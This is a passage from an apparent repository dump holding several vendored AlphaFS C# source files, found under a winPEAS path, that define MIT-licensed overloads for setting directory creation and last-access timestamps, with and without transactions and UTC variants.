    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetCreationTimeTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Sets the date and time the directory was created.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the creation date and time information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      [SecurityCritical]\n      public static void SetCreationTimeTransacted(KernelTransaction transaction, string path, DateTime creationTime)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), null, null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time the directory was created.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the creation date and time information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetCreationTimeTransacted(KernelTransaction transaction, string path, DateTime creationTime, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), null, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time the directory was created.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the creation date and time information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetCreationTimeTransacted(KernelTransaction transaction, string path, DateTime creationTime, bool modifyReparsePoint)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), null, null, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time the directory was created.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the creation date and time information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetCreationTimeTransacted(KernelTransaction transaction, string path, DateTime creationTime, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), null, null, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetCreationTimeUtc.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Sets the date and time, in coordinated universal time (UTC), that the directory was created.</summary>\n      /// <param name=\"path\">The directory for which to set the creation date and time information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      [SecurityCritical]\n      public static void SetCreationTimeUtc(string path, DateTime creationTimeUtc)\n      {\n         File.SetFsoDateTimeCore(null, false, path, creationTimeUtc, null, null, false, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the directory was created.</summary>\n      /// <param name=\"path\">The directory for which to set the creation date and time information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetCreationTimeUtc(string path, DateTime creationTimeUtc, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(null, false, path, creationTimeUtc, null, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the directory was created.</summary>\n      /// <param name=\"path\">The directory for which to set the creation date and time information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetCreationTimeUtc(string path, DateTime creationTimeUtc, bool modifyReparsePoint)\n      {\n         File.SetFsoDateTimeCore(null, false, path, creationTimeUtc, null, null, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the directory was created.</summary>\n      /// <param name=\"path\">The directory for which to set the creation date and time information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetCreationTimeUtc(string path, DateTime creationTimeUtc, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(null, false, path, creationTimeUtc, null, null, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetCreationTimeUtcTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the directory was created.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the creation date and time information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      [SecurityCritical]\n      public static void SetCreationTimeUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, null, null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the directory was created.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the creation date and time information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetCreationTimeUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, null, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the directory was created.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the creation date and time information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetCreationTimeUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, bool modifyReparsePoint)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, null, null, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the directory was created.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the creation date and time information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetCreationTimeUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, null, null, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetLastAccessTime.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Sets the date and time that the specified directory was last accessed.</summary>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      [SecurityCritical]\n      public static void SetLastAccessTime(string path, DateTime lastAccessTime)\n      {\n         File.SetFsoDateTimeCore(null, false, path, null, lastAccessTime.ToUniversalTime(), null, false, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified directory was last accessed.</summary>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetLastAccessTime(string path, DateTime lastAccessTime, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(null, false, path, null, lastAccessTime.ToUniversalTime(), null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified directory was last accessed.</summary>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetLastAccessTime(string path, DateTime lastAccessTime, bool modifyReparsePoint)\n      {\n         File.SetFsoDateTimeCore(null, false, path, null, lastAccessTime.ToUniversalTime(), null, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified directory was last accessed.</summary>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetLastAccessTime(string path, DateTime lastAccessTime, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(null, false, path, null, lastAccessTime.ToUniversalTime(), null, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetLastAccessTimeTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Sets the date and time that the specified directory was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      [SecurityCritical]\n      public static void SetLastAccessTimeTransacted(KernelTransaction transaction, string path, DateTime lastAccessTime)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, null, lastAccessTime.ToUniversalTime(), null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified directory was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetLastAccessTimeTransacted(KernelTransaction transaction, string path, DateTime lastAccessTime, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, null, lastAccessTime.ToUniversalTime(), null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified directory was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetLastAccessTimeTransacted(KernelTransaction transaction, string path, DateTime lastAccessTime, bool modifyReparsePoint)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, null, lastAccessTime.ToUniversalTime(), null, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified directory was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetLastAccessTimeTransacted(KernelTransaction transaction, string path, DateTime lastAccessTime, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, null, lastAccessTime.ToUniversalTime(), null, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetLastAccessTimeUtc.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Sets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed.</summary>\n      /// <param name=\"path\">The directory for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      [SecurityCritical]\n      public static void SetLastAccessTimeUtc(string path, DateTime lastAccessTimeUtc)\n      {\n         File.SetFsoDateTimeCore(null, false, path, null, lastAccessTimeUtc, null, false, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed.</summary>\n      /// <param name=\"path\">The directory for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetLastAccessTimeUtc(string path, DateTime lastAccessTimeUtc, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(null, false, path, null, lastAccessTimeUtc, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed.</summary>\n      /// <param name=\"path\">The directory for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetLastAccessTimeUtc(string path, DateTime lastAccessTimeUtc, bool modifyReparsePoint)\n      {\n         File.SetFsoDateTimeCore(null, false, path, null, lastAccessTimeUtc, null, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed.</summary>\n      /// <param name=\"path\">The directory for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetLastAccessTimeUtc(string path, DateTime lastAccessTimeUtc, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(null, false, path, null, lastAccessTimeUtc, null, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetLastAccessTimeUtcTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      [SecurityCritical]\n      public static void SetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastAccessTimeUtc)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, null, lastAccessTimeUtc, null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastAccessTimeUtc, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, null, lastAccessTimeUtc, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref 